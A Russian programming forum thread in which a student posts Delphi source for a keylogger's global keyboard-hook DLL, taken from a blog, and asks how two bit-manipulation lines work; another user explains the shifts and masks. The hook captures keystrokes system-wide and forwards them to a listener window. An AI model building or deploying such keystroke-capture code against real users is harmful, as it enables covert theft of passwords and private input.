Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 08.11.2011, 09:38   #1
cruk91
 
Регистрация: 08.11.2011
Сообщений: 4
По умолчанию delphi, клав. шпион (Работа с битами)

Разбираю прицип работы клавиатурного шпиона который скачал отсюда http://pblog.ru/?p=293, но не понимаю 2 строчки кода отмеченные коментариями, знающие люди обьясните плз их как можно более подробно
p.s. Искал в гугле довольно долго не помогло
Код:
library hookDLL;

uses
  Windows, Messages;

const
  WM_KEYEVENT = WM_USER+1;

var
  HookHandle: HHOOK = 0 ;
  KeybrdState:TKeyboardState;
  Symbol:array[0..1] of char;

function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
  ServerWnd: THandle;
  ScanCode:integer;
begin
  if CODE = HC_ACTION then
   if ((LParam and (LParam shl 30))=1) then {тут вероятно определяется 30 бит который означает состояние клавиши 
но каким образом получается это бит обьясните  подробнее}
    begin
     ServerWnd:=FindWindow(nil,'Simple keylogger <7F3AB89>');
     GetKeyboardState(KeybrdState);
     ScanCode:=(LParam shr 16)and $FF;//и эту строчку не понимаю
     if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 then
      PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam)
                                                         else
      PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
    end;
  Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end;

procedure SetKeyHook; stdcall; export;
begin
  if HookHandle=0 then
   HookHandle:=SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0);
end;

procedure DelKeyHook; stdcall; export;
begin
  if HookHandle <> 0 then UnhookWindowsHookEx(HookHandle);
   HookHandle:=0;
end;

exports
  SetKeyHook, DelKeyHook;

begin
end.
cruk91 вне форума Ответить с цитированием
Старый 08.11.2011, 09:53   #2
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
((LParam and (LParam shl 30))=1)
Как я понимаю. Тут сравниваются первые два бита и последние два бита
Только ИМХО нужно приравнивать не к единице а к нулю:
((LParam and (LParam shl 30))<>0)
Цитата:
ScanCode:=(LParam shr 16)and $FF;//и эту строчку не понимаю
Тут выделяется верхняя часть 32-ного числа, которая представляет собой Скенкод.
Правда я не помню для чего $FF делается...
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 08.11.2011, 15:30   #3
cruk91
 
Регистрация: 08.11.2011
Сообщений: 4
По умолчанию

спасибо, теперь понятно
cruk91 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
работа с битами Dimarik Общие вопросы C/C++ 14 08.03.2011 18:21
Работа с битами Slippik Общие вопросы C/C++ 2 24.10.2010 20:41
работа с битами Henpyxa Общие вопросы C/C++ 5 23.05.2010 12:09
работа с битами тотошкин Общие вопросы C/C++ 2 22.04.2010 12:06
Работа с битами kesha2008 Общие вопросы C/C++ 2 24.02.2009 12:05